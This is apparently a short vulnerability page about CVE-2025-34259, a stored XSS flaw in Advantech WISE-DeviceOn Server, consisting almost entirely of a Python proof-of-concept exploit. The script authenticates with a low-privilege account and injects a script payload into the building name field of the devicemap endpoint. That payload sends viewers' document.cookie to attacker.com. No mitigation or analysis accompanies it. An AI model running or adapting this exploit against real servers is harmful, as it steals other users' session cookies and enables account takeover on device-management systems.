CVE-2025-34259 Advantech WISE-DeviceOn Server存储型XSS漏洞

import requests import json # CVE-2025-34259 PoC - Stored XSS in Advantech WISE-DeviceOn Server # Target: /rmm/v1/devicemap/building endpoint TARGET_URL = "http://target-server/rmm/v1/devicemap/building" LOGIN_URL = "http://target-server/rmm/v1/auth/login" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit(): """ Exploit steps: 1. Authenticate with low-privilege account 2. Send malicious payload to /rmm/v1/devicemap/building 3. Payload is stored without sanitization 4. When other users view the map, XSS executes """ # Step 1: Login with low-privilege credentials login_data = { "username": "attacker_account", "password": "attacker_password" } session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via devicemap/building endpoint exploit_data = { "name": XSS_PAYLOAD, "description": "Test building entry", "location": { "lat": 0.0, "lng": 0.0 } } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {session.cookies.get('token')}" } response = session.post(TARGET_URL, json=exploit_data, headers=headers) if response.status_code in [200, 201]: print("[+] XSS payload injected successfully") print(f"[+] Payload will execute when users view the map list") return True else: print(f"[-] Injection failed: {response.status_code}") return False if __name__ == "__main__": exploit()